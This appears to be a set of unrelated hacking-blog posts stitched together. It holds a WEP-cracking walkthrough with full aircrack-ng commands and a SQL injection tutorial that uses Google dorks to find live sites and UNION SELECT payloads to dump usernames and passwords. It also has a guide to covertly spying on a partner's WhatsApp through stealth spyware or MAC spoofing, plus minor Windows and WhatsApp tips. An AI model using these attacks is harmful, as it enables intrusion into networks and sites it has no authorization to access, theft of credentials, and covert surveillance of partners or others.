Wifi Hacking Using Backtrack 5 (WEP KEY)

Wifi Hacking Using Backtrack 5 (WEP KEY)

As announced before we would be writing related to wifi attacks and security, This post is the second part of our series on wifi attacks and Security, In the first part we discussed about various terminologies related to wifi attacks and security and discussed couple of attacks. This post will also show you how one can easily crack WEP keys in no time.


Security Issues With WEP


WEP (Wired Equivalent Privacy) was proved full of flaws back in 2001, WEP protocol itself has some weakness which allows the attackers to crack them in no time. The biggest flaw probably in a WEP key is that it supports only 40bit encryption which means that there are 16million possibilities only.

For more information on WEP flaws, kindly read the WEP flaws section here.

Requirements :-

Here is what you would require to crack a WEP key:

1. Backtrack or any other Linux distro with aircrack-ng installed 

2. A Wifi adapter capable of injecting packets , For this tutorial I will use Alfa AWUS036H which is a very popular card and it performs well with Backtrack

You can find compatible wifi card lists here.

Procedure :-

First Login to your Backtrack / Linux distro and plug in your Wifi adpter , Open a new konsole and type in the following commands 

ifconfig wlan0 up

where wlan0 is the name of the wireless card ,it can be different .To see all wireless cards connected to your system simply type in " iwconfig ".


Putting your WiFi Adapter on Monitor Mode

To begin, you’ll need to first put your wireless adapter into monitor mode , Monitor mode is the mode whereby your card can listen to every packet in the air , You can put your card into monitor mode by typing in the following commands 

airmon-ng start (your interface)

Example :- airmon-ng start wlan0

Now a new interface mon0 will be created , You can see the new interface is in monitor mode by entering "iwconfig mon0" as shown

Finding a suitable Target

After putting your card into monitor mode ,we need to find a network that is protected by WEP. You can discover the surrounding networks by entering the following command

airodump-ng mon0

Bssid shows the mac address of the AP, CH shows the channel in which AP is broadcasted and Essid shows the name broadcasted by the AP, Cipher shows the encryption type ,

Now look out for a wep protected network In my case i’ll take “linksys “ as my target for rest of the tutorial

Attacking The Target

Now to crack the WEP key you'll have to capture the targets data into a file, To do this we use airodump tool again, but with some additional switches to target a specific AP and channel. Most importantly, you should restrict monitoring to a single channel to speed up data collection, otherwise the wireless card has to alternate between all channels .You can restrict the capture by giving in the following commands

airodump-ng mon0 --bssid -c (channel ) -w (file name to save )

As my target is broadcasted in channel 6 and has a bssid "98:fc:11:c9:14:22" ,I give in the following commands and save the captured data as "RHAWEP"

airodump-ng mon0 --bssid 98:fc:11:c9:14:22 -c 6 -w RHAWEP

Using Aireplay to Speed up the cracking

Now you’ll have to capture at least 20,000 data packets to crack WEP .This can be done in two ways, The first one would be a (passive attack ) wait for a client to connect to the AP and then start capturing the data packets but this method is very slow, it can take days or even weeks to capture that many data packets

The second method would be an (active attack )this method is fast and only takes minutes to generate and inject that many packets .

In an active attack you'll have do a Fake authentication (connect) with the AP ,then you'll have to generate and inject packets. This can be done very easily by entering the following commands 

aireplay-ng - 1 3 -a (bssid of the target ) (interface) 

In my case i enter the following commands 

aireplay-ng -1 3 -a 98:fc:11:c9:14:22 mon0 


After doing a fake authentication ,now its time to generate and inject Arp packets . To this you'll have to open a new Konsole simultaneously and type in the following commands

aireplay-ng 3 -b (bssid of target) -h ( Mac address of mon0) (interface)

In my case i enter
aireplay-ng 3 -b 98:fc:11:c9:14:22 -h 00:c0:ca:50:f8:32 mon0

If this step was successful you'll see Lot of data packets in the airodump capture as shown

Wait till it reaches 20000 packets , best would be to wait till it reaches around 80,000 to 90,000 packets .Its simple more the packets less the time to crack .Once you’ve captured enough number of packets, close all the process's by clicking the into mark which is there on the terminal

Cracking WEP key using Aircrack

Now its time crack the WEP key from the captured data, Enter the following commands in a new konsole to crack the WEP key

aircrack-ng (name of the file )

In my case i enter 
aircrack-ng RHAWEP-0.1-cap

With in a few minutes Aircrak will crack the WEP key as shown

Once the crack is successful you will be left with the KEY! Remove the colons from the output and you’ll have your WEP Key.

EASY STEPS TO CHANGE YOUR IP IN LESS THAN A MINUTE,,,!!!

EASY STEPS TO CHANGE YOUR IP IN LESS THAN A MINUTE,,,!!!

Here is the 10 most easy quick step method to change the IP address by changing the properties in LAN (Local Area Netwok).

Step 1: 
Click on "Start"---> "Run"
Then Type in "command" or "cmd" and hit OK or press ENTER.

Step 2: 

In the Command Prompt also known as "MS-DOS" prompt just type "ipconfig /release" & Hit Enter.

Type "exit" and leave the
prompt 

Step3 : 
Right-click on "Network Places" or "My Network Places" ---> Click on "properties" .Then Right click on "Local Area Connection"--->Click
"properties"

Step 4: 
Now click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab 

Step 5: Click on "Use the following IP address" under the "General" tab
BINGOOO,,,,!!! Now you can type in your own IP address .

Step 6:

Now Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.

Step 7:
Hit the "Ok" button twice and you are now back to the "Local Area
Connection" screen.
Step 8:
Now Right-click back on "Local Area Connection" and go to properties again.

Step 9:
Go back to the "TCP/IP" settings 
Now , Select "Obtain an IP address automatically" 
Step 10:
Hit "Ok" twice again

BANG BANG BANG,,,,,!!!! :D ;) 
You now have a new IP address However it only changes your
dynamic IP address and not not your ISP/IP address.

Hope you enjoyed this post,,,!!! Cheers,,,!!! ;)

HACKING WEBSITES USING SQL INJECTION ATTACKS ON VULNERABLE SITES,,,!!!

HACKING WEBSITES USING SQL INJECTION ATTACKS ON VULNERABLE SITES,,,!!!

Warning: This is only for EDUCATIONAL purposes to make you aware of the vulnerabilities that may be present in your website so that you may self test it in your OWNED website to IMPROVE the SECURITY ,,,,,!!! The person posting this or the this blog is not responsible for any type malicuous activities performed by anyone else,,,,!!!

This is what they basically teach you when you go for certain HACKING COURSES which I have taken pains for hours to put this to you without even earning a penny and sharing it for FREE,,,,!!! Atleast some comments and feedback from you will make me Happy ^_^

So Guyzzz I have now decided to post some serious ADVANCED LEVEL OF Hacking stuffs which is how the "Cracker" breaks into your Vulnerable Websites,,,,!!!
All you need to know is a bit of SQL queries,,,!!!
It doesnt matter even if you are not an expert in
So here we go,,,

What is SQL Injection?
So let me give you some idea of what I am going to talk about,,,,There are many complex defenitions you may get in various other sites,,, But I put it in simple terms,,,, You type some SQL queries or codes [or whatever you wish to call it ;D] on the address bar[whee you type the web address of sites to be searched] to test vulnerable website,,,,!!! If you find it vulnerable then BINGO,,,!!! we will use some more SQL injection queries to crack it,,,!!!

So guyzzz who are related to computer science stream,,, If you found learning SQL boring this is one way to make yourself interested in ;D

And as far as others are concerned,,, please dont worry i'will be giving you some codes which you may use to Test the Vulnerability of the site,,,!!!

QUICK STEPS TO FIND THE VULNERABILITY OF WEBSITES,,,!!!Step 1:
Search for any of the following terms in Google:

inurl:product.php?id=

inurl:index.php?id=

inurl:news.php?id=

inurl:shop.php?id=

inurl:shop.php?pid=

inurl:newsroom.php?id=

Step 2: Now for example say there is a website that you found in Google search say for example
www.rahulswebsite.com/index.php?id=7
Open the website in a new tab,,,!!!

Step 3:
To test if your selected website is vulnerable:
Add the ' (single quote symbol) after the site as follows
www.rahulswebsite.com/index.php?id=7'and now Hit the "Enter" Key,,,!!!

If there is any type of "MySQL error" !!!BINGO,,,!!!
Then it means your target website is vulnerable.

STEPS TO HACK INTO THE WEBSITE AFTER FINDING THE VULNERABILITY

Step 1:
After finding the vulnerability of your target site, use the ORDER BY command to extract the number of columns in the database.
Ex Code:
http://www.anywebsite.com/index.php?id=7 ORDER BY 1--

Doing ORDER BY 1-- should always return the original page with NO error.

Step 2:

Then do ORDER BY 2--

If this shows the original page with NO error, continue.

Now try ORDER BY 3--
and so on,
If this shows the original page with NO error, continue.

Step 4:

Continue increasing the ORDER BY number until you reach an error. For example, if doing ORDER BY 10-- returns an error, then there is a table which has NINE (9) columns, NOT 10. Always subtract ONE from the number that produced the error.

STEP 5:
Next step is to use UNION & SELECT

After getting the number of columns, let's say we have NINE columns. Then you have to type the following code:


Code:

http://www.anywebsite.com/index.php?id=7 UNION ALL SELECT 1,2,3,4,5,6,7,8,9--

You should see a page with a few numbers scattered throughout it. If so, continue,
IF NOT, try the following in which we have to add the " - "hypen or negative sign in front of the id value of our website:

Code:

http://www.anywebsite.com/index.php?id=-7 UNION ALL SELECT 1,2,3,4,5,6,7,8,9--

At the end if this produces the scattered numbers, continue, if not, STOP!!!
Choose anyother target website from the GOOGLE search and repeat the vulnerability test,,,!!!

Step 6:

Now we use the database() command

After you see the scattered numbers, pick one to exploit. Say the numbers on my page are TWO and SEVEN. I will choose the number TWO. After choosing your number, put database() in place of it in your URL as shown below. REMEMBER, I chose number TWO.

Code:
http://www.anywebsite.com/index.php?id=-7 UNION ALL SELECT 1,database(),3,4,5,6,7,8,9--

That should return some text in place of the scattered TWO. WRITE THIS TEXT DOWN, and move on.

Step 7: We use group_concat
This is where everything gets a little trickier! This is also the part where you will be extracting data. Yeah! Bingoo!!! :D :D *** Fist punch ***

After extracting the name of the database using database(), type this where you typed database() in the previous step.


Code:
http://www.anywebsite.com/index.php?id=-7 UNION ALL SELECT 1,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()--
TYPE THIS EXACTLY AS IT IS SHOWN, and press enter.

In place of the scattered TWO, you should see a LOT of text separated by commas. These are called tables. The text varies by website, but you usually want to look for things like "admin," "staff," or "users." Choose the one that interests you. For this tutorial, I will choose "users." Now type this:


Code:

http://www.anywebsite.com/index.php?id=-7 UNION ALL SELECT 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database()--

OR

if you want the columns from ONLY one table, use this (courtesy of dR..EviL):


Code:

http://www.anywebsite.com/index.php?id=-7UNION ALL SELECT 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=< table name goes here in hex or ascii format >--

This should return even more text. These are called columns. Again choose what interests you, but for this tutorial, I will choose "username" and "password."
The columns "username" and "password" contain the data we want to extract. To extract the final data, meaning, in this case, the usernames and passwords of all the users, type this:

Code:

http://www.anywebsite.com/index.php?id=-7 UNION ALL SELECT 1,group_concat(username,0x3a,password,0x3a),3,4,5,6,7,8,9 from users--

Where it says "username,0x3a,password,0x3a" is where you would the name of your chosen COLUMNS, such as username and password, DO NOT replace the 0x3a, ONLY the username and password area. Where it says "from users--," replace "users" with the name of your chosen table such as the one "users." All of this will produce even MORE text in this format:

Code:
admin:thisismypass:,
The comma separates each set of data.

THE END OF MY TUTORIAL
HOPE YOU LIKED IT CHEERS :) :) :)

Best WhatsApp Hacks

Best WhatsApp Hacks  

Best WhatsApp Hacks:-

  



WhatsApp is one of best instant messaging app for Android and iPhone.Today, I’ll try to share best WhatsApp hacks available to improve user experience.

1) How To Get Back Deleted Chat History

Did you ever tapped wrong option for example Delete chat -> Yes ?

  
You can easly recover your deleted chat history , just follow these instructions: 
1. uninstall the app
2.then reinstall it
3. simply tap Restore and everything less than seven days old is restored.

2) How To Hide Last Seen Time

Just downlaod and install Last Not Seen App 

3) How To Crete Fake Conversation

If you want to play pranks with your friends , just download annd install Whatsaid – Whatsapp Prank and create fake conversation .

4) How to Send WhatsApp Chat History Via Email

Click on the “Menu” option in a conversation, and then go to “More” and select “Email conversation” before entering the address of recipient. WhatsApp will create an email with the whole text conversation, including pictures, voice or video calls.

5) How To Send PDF, APK, ZIP and DOC files

What’s updon’t allows you to send Send PDF, APK, ZIP and DOC files , but you can use an app named Cloud Send.
Downlaod and isntall Cloud Send from this link. 

6) How To Listen to voice messages using In-Built Speakers

If you don’t won’t to play your voice message loud so that others could hear it , then press play and hold the smartphone to your ear. 

How To Hide Any Drive Through Command Prompt

How To Hide Any Drive Through Command Prompt

 

Have you ever thought of hiding any drive from your system so that no one can knew about it. You may have heard or even used a lot of software’s that might be able to do that, but if you are GEEK like me and want to do things by your own without using any 3rd party software than this tutorial will show you how you can do it.
Well there are 3 ways of doing it, in this tutorial we are covering command prompt way of doing it.

Here is how to do it:

Step 1. Open command Prompt, go to Start Menu > All Programs >Accessories > Command prompt
Step 2. In the Command Prompt, type Diskpart and hit enter key. If UAC (User Account Control), dialog-box prompts than click Yes.
Step 3. Then type List Volume and press enter, this will produce the list of all drives.

 Step 4. Now select the drive which you want to hide, you can either do this by typing Select Volume 1 (i.e. Volume Number) or by typing Select Volume C(i.e. Drive letter)

 Step 5. To hide a drive, type Remove Letter C. Here, C is the drive letter than you want to hide. You can use any drive letter you want.

 

Step 6. That’s it. You are done! C drive is now hidden

How to unhide hidden drive

Step 1. Follow the procedure mentioned in step 1, 2, 3 and 4.
Step 2. To show the hidden drive type Assign Letter C and hit enter, now you can view C: drive in explorer.

That’s it. This is one way of hiding and un-hiding drives from explorer, for rest two stay tuned.

Now Try It And Comment Pls

How to Spy on WhatsApp Messages

Need to Spy on a Someone’s WhatsApp Messages?
Relax, Here is a Complete Spying Guide!

WhatsApp is one of the most widely used instant messaging applications during the recent years. Attractive features like cross-platform support, media sharing and ease of use has made WhatsApp to be the top choice among most smart phone users. On the other hand, WhatsApp has also become a favorite application for many cheaters to exchange secret messages and maintain illicit relationships. Therefore, in order to investigate the truth about their partners or children it becomes inevitable for many individuals and parents to spy on WhatsApp messages.

Ways to Spy on WhatsApp

This article will uncover some of the possible ways through which you can spy on WhatsApp messages of your children or suspected partner. The possible ways are as described below:

1. Spy Software: The Easiest Way

Using a spy software program is the easiest way to spy on WhatsApp messages. Although there are a handful of companies marketing substandard WhatsApp spy programs on the market today, there exists a few genuine products as well that are worth considering. One of my favorite software to spy on WhatsApp is Mobile Spy which is known for its quality and top notch features. The following are some of the exciting features of Mobile Spy which makes it a perfect choice for monitoring WhatsApp messages:

Mobile Spy Features:

• Spy on call logs and SMS and Contacts
• Secretly record phone surroundings to listen to the activities around the phone
• Stealth camera to take secret picture from the phone
• Spy on Internet activity including social media like Facebook, WhatsApp, Twitter and Gmail
• Track GPS locations in real-time
• View Device and SIM card information
• Live control panel to spy on real-time
• Operates in a complete stealth mode and remains undetected!

If you are a parent, Mobile Spy can offer you an additional help as it supports a handful of control features as well:

• Block access to unwanted apps
• Get instant alerts when profane language is typed or viewed
• Remotely lock the phone or restrict its usage
• Remotely delete unwanted contacts, call logs, SMS and photos if desired

How it Works?

You will have to download and install the Mobile Spy app onto the target phone on which you need to monitor WhatsApp messages. Installation and configuration takes only a few minutes. However, for this you should have the target phone in your hand at least for a few minutes.

Once the installation is complete, the monitoring process of all the above mentioned activities (WhatsApp messages, calls, SMS, Internet, GPS, camera etc.) will begin and the recorded logs are silently uploaded to your Mobile Spy account. You can login to your online account at any time to view the logs containing WhatsApp messages and other activity details. You can download Mobile Spy from the link below:

---

Download Mobile Spy

Compatible Phones: Android, BlackBerry, Apple iPhone, Windows Mobile, iPod and Tablets.

---

2. Spoofing the MAC Address: The Difficult Way

The other way to spy on someone’s WhatsApp messages is to spoof the MAC address of the target phone from your phone. This method is somewhat considered difficult and require a moderate amount of technical skills to perform. Let me explain.

WhatsApp has a small vulnerability which allows you to run the same WhatsApp account on two phones provided they both have the same MAC address. For this, you will have to gain access to the target phone to record its MAC address and spoof the same on your device. This is how you can find the MAC address of the target phone:

For Android – Head over to settings —> About phone —> Statu s—> Wi-Fi MAC address

For iPhone – Head over to Setting s—> General —> About —> Wi-Fi address

For Windows Phone – Head over to Settings —> About —> More info —> MAC address

For BlackBerry – Head over to options —> Device —> Device and Status info —> WLAN MAC

Once you have recorded the target phone’s MAC address, you will have to spoof the MAC address on your android phone. After this is done, install WhatsApp on your phone, configure it using the target person’s phone number and verify the WhatsApp account using the verification code received on the target phone.

If you successfully manage to execute all the above mentioned steps, you will have a replica of the target user’s WhatsApp account running on your phone. That means you will receive notifications on your phone for each and every activity of the target WhatsApp user. For spying on WhatsApp, I still recommend the usage of Mobile Spy as this method is lot simpler than that of spoofing MAC address.

DISCLAIMER: YOU IMPLEMENT ALL THE INFORMATION PROVIDED IN THIS ARTICLE AT YOUR OWN RISK. USAGE OF SPYWARE WITHOUT PRIOR USER CONSENT MAY BE AGAINST YOUR LOCAL LAWS AND YOU DO IT AT YOUR OWN RISK!